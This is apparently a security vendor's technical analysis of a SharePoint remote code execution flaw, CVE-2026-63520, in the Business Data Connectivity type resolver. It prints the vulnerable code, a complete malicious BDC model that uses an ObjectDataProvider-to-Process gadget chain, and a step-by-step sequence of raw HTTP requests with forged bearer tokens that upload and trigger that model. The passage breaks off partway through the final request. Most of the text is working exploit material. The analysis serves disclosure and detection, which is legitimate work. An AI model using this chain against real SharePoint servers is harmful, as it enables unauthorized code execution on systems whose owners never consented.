Overview
On August 11, 2026, Rapid7 and Microsoft disclosed CVE-2026-63520, a remote code execution (RCE) vulnerability affecting Microsoft SharePoint. Today we are publishing a technical analysis of CVE-2026-63520. This analysis was originally scheduled for publication 30 days after disclosure; however, as a third party has published details of CVE-2026-63520, our timeline has been expedited.
A remote authenticated attacker can leverage CVE-2026-63520 to execute arbitrary code on a vulnerable SharePoint server with the privileges of the SharePoint Site’s service account. When combined with the authentication bypass, CVE-2026-55040, the resulting exploit chain is unauthenticated RCE against a vulnerable SharePoint server.
When comparing the two analysis of CVE-2026-63520, we can see how we have exploited the issue by leveraging a Database Line-of-Business (LOB) system and an ObjectDataProvider based gadget chain, whilst the VulnCheck analysis has exploited the issue by leveraging a DotNetAssembly LOB system and a LosFormatter based gadget chain. Defenders should account for this when detecting CVE-2026-63520. It is highly likely other gadget chains may also be used.
Analysis
The following technical analysis is based upon SharePoint Server Subscription Edition version 16.0.19725.20210.
An RCE vulnerability exists in the Microsoft SharePoint Business Data Connectivity (BDC) subsystem. This is due to an unrestricted .NET type instantiation and property-setting primitive in the DbTypeReflector class, which resolves arbitrary assembly-qualified type names from BDC model XML without any allowlist or safety enforcement. An attacker who can upload a malicious .bdcm model file and trigger entity execution can instantiate any .NET type available in the Global Assembly Cache (GAC), set arbitrary properties on those instances, and leverage property-setter side-effects to achieve OS command execution.
Note that there is prior work in this space that was very helpful when conducting this research. The writeup of CVE-2019-1257 by the ZDI research team discusses leveraging BDC models for unsafe .NET type instantiation.
The vulnerability exists in the Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector.ResolveDotNetType() method, which directly calls Type.GetType() on attacker-controlled TypeDescriptor TypeName values without validation. Combined with a recursive instantiation and property-setting mechanism in the parent DotNetTypeReflector.Instantiate() method, this allows constructing a gadget chain that triggers Process.Start() through the System.Windows.Data.ObjectDataProvider class's property-setter side-effect (this gadget chain technique is well-known).
The BDC subsystem uses "type reflectors" to resolve .NET types from the TypeName attribute of TypeDescriptor elements in BDC model XML. For Database-type LobSystem definitions, SharePoint uses DbTypeReflector, which inherits from DotNetTypeReflector, as shown below.
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db\DbTypeReflector.cs - Lines 167-186 public override Type ResolveDotNetType(string abstractTypeName, ILobSystemStruct lobSystemStruct) { if (string.IsNullOrEmpty(abstractTypeName)) { throw new ArgumentNullException("abstractTypeName"); } if (abstractTypeName.Length < 15) // <-- [1] { return base.ResolveDotNetType(abstractTypeName, lobSystemStruct); } try { return Type.GetType(abstractTypeName, throwOnError: true); // <-- [2] } catch (ArgumentException) { throw new ArgumentException(...); } }
At [1], if the type name is fewer than 15 characters (e.g. System.Int32), it falls through to the base class DotNetTypeReflector.ResolveDotNetType(), which has a limited type lookup path. However, at [2], for any type name greater than 15 characters (e.g. System.Diagnostics.Process or System.Windows.Data.ObjectDataProvider), the method calls Type.GetType() directly. This resolves any assembly-qualified type name to its corresponding Type object, with no restrictions on which assemblies or types are permitted.
To construct a malicious BDC model, the following XML is used. We can see the BDC LobSystem definition has a type Database.
<?xml version="1.0" encoding="utf-8"?> <Model xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog" Name="BdcModel"> <AccessControlList> <AccessControlEntry Principal="NT AUTHORITY\Authenticated Users"> <Right BdcRight="Execute" /><Right BdcRight="Edit" /> <Right BdcRight="SelectableInClients" /><Right BdcRight="SetPermissions" /> </AccessControlEntry> </AccessControlList> <LobSystems> <LobSystem Name="RCE950d65" Type="Database"> <Properties> <Property Name="WildcardCharacter" Type="System.String">%</Property> </Properties> <AccessControlList> <AccessControlEntry Principal="NT AUTHORITY\Authenticated Users"> <Right BdcRight="Execute" /><Right BdcRight="Edit" /> <Right BdcRight="SelectableInClients" /><Right BdcRight="SetPermissions" /> </AccessControlEntry> </AccessControlList> <LobSystemInstances> <LobSystemInstance Name="RCEI950d65"> <Properties> <Property Name="DatabaseAccessProvider" Type="System.String">SqlServer</Property> <Property Name="RdbConnection Data Source" Type="System.String">localhost</Property> <Property Name="RdbConnection Initial Catalog" Type="System.String">master</Property> <Property Name="RdbConnection Integrated Security" Type="System.String">True</Property> </Properties> </LobSystemInstance> </LobSystemInstances> <Entities> <Entity Name="RCEE950d65" Namespace="GadgetRCE" EstimatedInstanceCount="1" Version="1.0.0.0"> <AccessControlList> <AccessControlEntry Principal="NT AUTHORITY\Authenticated Users"> <Right BdcRight="Execute" /><Right BdcRight="Edit" /> <Right BdcRight="SelectableInClients" /><Right BdcRight="SetPermissions" /> </AccessControlEntry> </AccessControlList> <Identifiers> <Identifier Name="id" TypeName="System.Int32" /> </Identifiers> <Methods> <Method Name="Exec"> <Properties> <Property Name="RdbCommandText" Type="System.String">SELECT 1 AS id, 'x' AS output</Property> <Property Name="RdbCommandType" Type="System.String">Text</Property> </Properties> <AccessControlList> <AccessControlEntry Principal="NT AUTHORITY\Authenticated Users"> <Right BdcRight="Execute" /><Right BdcRight="Edit" /> <Right BdcRight="SelectableInClients" /><Right BdcRight="SetPermissions" /> </AccessControlEntry> </AccessControlList> <Parameters> <Parameter Name="@id" Direction="In"> <TypeDescriptor Name="id" TypeName="System.Int32" IdentifierName="id" /> </Parameter> <Parameter Name="payload" Direction="In"> <TypeDescriptor Name="payload" TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" LobName="payload"> <TypeDescriptors> <TypeDescriptor Name="MethodName" TypeName="System.String" LobName="MethodName"> <DefaultValues> <DefaultValue MethodInstanceName="RCEF950d65" Type="System.String">Start</DefaultValue> </DefaultValues> </TypeDescriptor> <TypeDescriptor Name="ObjectInstance" TypeName="System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" LobName="ObjectInstance"> <TypeDescriptors> <TypeDescriptor Name="StartInfo" TypeName="System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" LobName="StartInfo"> <TypeDescriptors> <TypeDescriptor Name="UseShellExecute" TypeName="System.Boolean" LobName="UseShellExecute"> <DefaultValues> <DefaultValue MethodInstanceName="RCEF950d65" Type="System.Boolean">false</DefaultValue> </DefaultValues> </TypeDescriptor> <TypeDescriptor Name="CreateNoWindow" TypeName="System.Boolean" LobName="CreateNoWindow"> <DefaultValues> <DefaultValue MethodInstanceName="RCEF950d65" Type="System.Boolean">true</DefaultValue> </DefaultValues> </TypeDescriptor> <TypeDescriptor Name="FileName" TypeName="System.String" LobName="FileName"> <DefaultValues> <DefaultValue MethodInstanceName="RCEF950d65" Type="System.String">notepad.exe</DefaultValue> </DefaultValues> </TypeDescriptor> <TypeDescriptor Name="Arguments" TypeName="System.String" LobName="Arguments"> <DefaultValues> <DefaultValue MethodInstanceName="RCEF950d65" Type="System.String"></DefaultValue> </DefaultValues> </TypeDescriptor> </TypeDescriptors> </TypeDescriptor> </TypeDescriptors> </TypeDescriptor> </TypeDescriptors> </TypeDescriptor> </Parameter> <Parameter Name="ExecResult" Direction="Return"> <TypeDescriptor Name="ExecResult" TypeName="System.Data.IDataReader, System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" IsCollection="true" ReadOnly="true"> <TypeDescriptors> <TypeDescriptor Name="ExecResultElement" TypeName="System.Data.IDataRecord, System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <TypeDescriptors> <TypeDescriptor Name="id" TypeName="System.Int32" IdentifierName="id" /> <TypeDescriptor Name="output" TypeName="System.String" /> </TypeDescriptors> </TypeDescriptor> </TypeDescriptors> </TypeDescriptor> </Parameter> </Parameters> <MethodInstances> <MethodInstance Name="RCEF950d65" Type="SpecificFinder" ReturnParameterName="ExecResult" ReturnTypeDescriptorPath="ExecResult[0]"> <AccessControlList> <AccessControlEntry Principal="NT AUTHORITY\Authenticated Users"> <Right BdcRight="Execute" /><Right BdcRight="Edit" /> <Right BdcRight="SelectableInClients" /><Right BdcRight="SetPermissions" /> </AccessControlEntry> </AccessControlList> </MethodInstance> </MethodInstances> </Method> </Methods> </Entity> </Entities> </LobSystem> </LobSystems> </Model>
We can see from the above that we define a new parameter called "payload" that will instantiate a new System.Windows.Data.ObjectDataProvider instance, whose MethodName will be Start, and whose ObjectInstance will be an instance of System.Diagnostics.Process. The System.Diagnostics.Process instance will have its StartInfo member variable set to a new instance of System.Diagnostics.ProcessStartInfo, and this defines the arbitrary process to execute. When the ObjectInstance is set to the System.Diagnostics.Process instance it triggers the gadget chain to execute (a stack trace showing this is shown in the next section). Logically, we can view the gadget chain as follows:
System.Windows.Data.ObjectDataProvider odp = new System.Windows.Data.ObjectDataProvider(); odp.MethodName = "Start"; System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo(); psi.UseShellExecute = false; psi.CreateNoWindow = true; psi.FileName = "notepad.exe"; psi.Arguments = ""; System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo = psi; odp.ObjectInstance = p; // <--- Triggers RCE
For testing purposes we favor a simple binary like notepad.exe which can easily be observed to execute via a tool like Process Explorer, as shown below in Figure 1. We set CreateNoWindow to true, as the target w3wp.exe IIS worker process is running in Session 0, so will have no desktop attached for displaying window forms.
Figure 1: Gadget chain executing notepad.exe
Walkthrough
We can see a concrete example of the RCE in action by inspecting the HTTP requests required to achieve unsafe .NET type instantiation. Note that the Bearer authorization token, along with the X-RequestDigest token used in the following requests have been generated via our exploit script for the authentication bypass, CVE-2026-55040.
Before we can upload the malicious BDC model, we must first create a BusinessDataMetadataCatalog folder via an HTTP POST request to the /_api/web/folders endpoint.
POST /_api/web/folders HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose
Content-Type: application/json;odata=verbose
X-RequestDigest: 0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000
Content-Length: 89
{"__metadata": {"type": "SP.Folder"}, "ServerRelativeUrl": "BusinessDataMetadataCatalog"}
The following response is received, confirming success.
HTTP/1.1 201 Created
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Location: https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 10
SPRequestDuration: 23
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-8b99-e0bd-6d28-73265bd44bbe
request-id: e01a0ca2-8b99-e0bd-6d28-73265bd44bbe
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT
{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')","uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')","type":"SP.Folder"},"Activities":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/Activities"}},"Files":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/Files"}},"ListItemAllFields":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/ListItemAllFields"}},"ParentFolder":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/ParentFolder"}},"Properties":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/Properties"}},"StorageMetrics":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/StorageMetrics"}},"Folders":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/Folders"}},"Exists":true,"IsWOPIEnabled":false,"ItemCount":0,"Name":"BusinessDataMetadataCatalog","ProgID":null,"ServerRelativeUrl":"/BusinessDataMetadataCatalog","TimeCreated":"2026-03-25T14:48:25Z","TimeLastModified":"2026-03-25T14:48:25Z","UniqueId":"588f2429-23cb-47c9-bbbf-6a0c36a04ea2","WelcomePage":""}}
Next we can upload the malicious BDC model via an HTTP POST request to the /_api/web/GetFolderByServerRelativeUrl endpoint.
POST /_api/web/GetFolderByServerRelativeUrl('BusinessDataMetadataCatalog')/Files/add(url='BDCMetadata.bdcm',overwrite=true) HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose
X-RequestDigest: 0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000
Content-Length: 7296
Content-Type: application/x-www-form-urlencoded
<?xml version="1.0" encoding="utf-8"?>
<Model xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog" Name="BdcModel">
<AccessControlList>
<AccessControlEntry Principal="NT AUTHORITY\Authenticated Users">
<Right BdcRight="Execute" /><Right BdcRight="Edit" />
<Right BdcRight="SelectableInClients" /><Right BdcRight="SetPermissions" />
</AccessControlEntry>
</AccessControlList>
<LobSystems>
<LobSystem Name="RCE950d65" Type="Database">
<Properties>
<Property Name="WildcardCharacter" Type="System.String">%</Property>
</Properties>
<AccessControlList>
<AccessControlEntry Principal="NT AUTHORITY\Authenticated Users">
<Right BdcRight="Execute" /><Right BdcRight="Edit" />
<Right BdcRight="SelectableInClients" /><Right BdcRight="SetPermissions" />
</AccessControlEntry>
</AccessControlList>
<LobSystemInstances>
<LobSystemInstance Name="RCEI950d65">
<Properties>
<Property Name="DatabaseAccessProvider" Type="System.String">SqlServer</Property>
<Property Name="RdbConnection Data Source" Type="System.String">localhost</Property>
<Property Name="RdbConnection Initial Catalog" Type="System.String">master</Property>
<Property Name="RdbConnection Integrated Security" Type="System.String">True</Property>
</Properties>
</LobSystemInstance>
</LobSystemInstances>
<Entities>
<Entity Name="RCEE950d65" Namespace="GadgetRCE" EstimatedInstanceCount="1" Version="1.0.0.0">
<AccessControlList>
<AccessControlEntry Principal="NT AUTHORITY\Authenticated Users">
<Right BdcRight="Execute" /><Right BdcRight="Edit" />
<Right BdcRight="SelectableInClients" /><Right BdcRight="SetPermissions" />
</AccessControlEntry>
</AccessControlList>
<Identifiers>
<Identifier Name="id" TypeName="System.Int32" />
</Identifiers>
<Methods>
<Method Name="Exec">
<Properties>
<Property Name="RdbCommandText" Type="System.String">SELECT 1 AS id, 'x' AS output</Property>
<Property Name="RdbCommandType" Type="System.String">Text</Property>
</Properties>
<AccessControlList>
<AccessControlEntry Principal="NT AUTHORITY\Authenticated Users">
<Right BdcRight="Execute" /><Right BdcRight="Edit" />
<Right BdcRight="SelectableInClients" /><Right BdcRight="SetPermissions" />
</AccessControlEntry>
</AccessControlList>
<Parameters>
<Parameter Name="@id" Direction="In">
<TypeDescriptor Name="id" TypeName="System.Int32" IdentifierName="id" />
</Parameter>
<Parameter Name="payload" Direction="In">
<TypeDescriptor Name="payload" TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" LobName="payload">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String" LobName="MethodName">
<DefaultValues>
<DefaultValue MethodInstanceName="RCEF950d65" Type="System.String">Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance" TypeName="System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" LobName="ObjectInstance">
<TypeDescriptors>
<TypeDescriptor Name="StartInfo" TypeName="System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" LobName="StartInfo">
<TypeDescriptors>
<TypeDescriptor Name="UseShellExecute" TypeName="System.Boolean" LobName="UseShellExecute">
<DefaultValues>
<DefaultValue MethodInstanceName="RCEF950d65" Type="System.Boolean">false</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="CreateNoWindow" TypeName="System.Boolean" LobName="CreateNoWindow">
<DefaultValues>
<DefaultValue MethodInstanceName="RCEF950d65" Type="System.Boolean">true</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="FileName" TypeName="System.String" LobName="FileName">
<DefaultValues>
<DefaultValue MethodInstanceName="RCEF950d65" Type="System.String">notepad.exe</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String" LobName="Arguments">
<DefaultValues>
<DefaultValue MethodInstanceName="RCEF950d65" Type="System.String"></DefaultValue>
</DefaultValues>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
</Parameter>
<Parameter Name="ExecResult" Direction="Return">
<TypeDescriptor Name="ExecResult" TypeName="System.Data.IDataReader, System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" IsCollection="true" ReadOnly="true">
<TypeDescriptors>
<TypeDescriptor Name="ExecResultElement" TypeName="System.Data.IDataRecord, System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<TypeDescriptors>
<TypeDescriptor Name="id" TypeName="System.Int32" IdentifierName="id" />
<TypeDescriptor Name="output" TypeName="System.String" />
</TypeDescriptors>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
</Parameter>
</Parameters>
<MethodInstances>
<MethodInstance Name="RCEF950d65" Type="SpecificFinder" ReturnParameterName="ExecResult" ReturnTypeDescriptorPath="ExecResult[0]">
<AccessControlList>
<AccessControlEntry Principal="NT AUTHORITY\Authenticated Users">
<Right BdcRight="Execute" /><Right BdcRight="Edit" />
<Right BdcRight="SelectableInClients" /><Right BdcRight="SetPermissions" />
</AccessControlEntry>
</AccessControlList>
</MethodInstance>
</MethodInstances>
</Method>
</Methods>
</Entity>
</Entities>
</LobSystem>
</LobSystems>
</Model>
The following response is received, confirming success.
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 36
SPRequestDuration: 50
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-fb9b-e0bd-6d28-712875f5f9e2
request-id: e01a0ca2-fb9b-e0bd-6d28-712875f5f9e2
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT
{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')","uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')","type":"SP.File"},"Author":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/Author"}},"CheckedOutByUser":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/CheckedOutByUser"}},"EffectiveInformationRightsManagementSettings":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/EffectiveInformationRightsManagementSettings"}},"InformationRightsManagementSettings":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/InformationRightsManagementSettings"}},"ListItemAllFields":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/ListItemAllFields"}},"LockedByUser":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/LockedByUser"}},"ModifiedBy":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/ModifiedBy"}},"Properties":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/Properties"}},"VersionEvents":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/VersionEvents"}},"Versions":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/Versions"}},"CheckInComment":"","CheckOutType":2,"ContentTag":"{19D5ED0D-438A-477F-9943-BD5D70A86A75},35,35","CustomizedPageStatus":0,"ETag":"\"{19D5ED0D-438A-477F-9943-BD5D70A86A75},35\"","Exists":true,"IrmEnabled":false,"Length":"7296","Level":1,"LinkingUri":null,"LinkingUrl":"","MajorVersion":1,"MinorVersion":0,"Name":"BDCMetadata.bdcm","ServerRelativeUrl":"/BusinessDataMetadataCatalog/BDCMetadata.bdcm","TimeCreated":"2026-03-25T14:48:25Z","TimeLastModified":"2026-04-21T10:06:13Z","Title":null,"UIVersion":512,"UIVersionLabel":"1.0","UniqueId":"19d5ed0d-438a-477f-9943-bd5d70a86a75"}}
We trigger unsafe .NET type instantiation via an HTTP POST request to the /_vti_bin/client.svc/ProcessQuery endpoint, calling the FindSpecificDefault method to locate and trigger our malicious gadget chain.
POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Accept: */*
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFB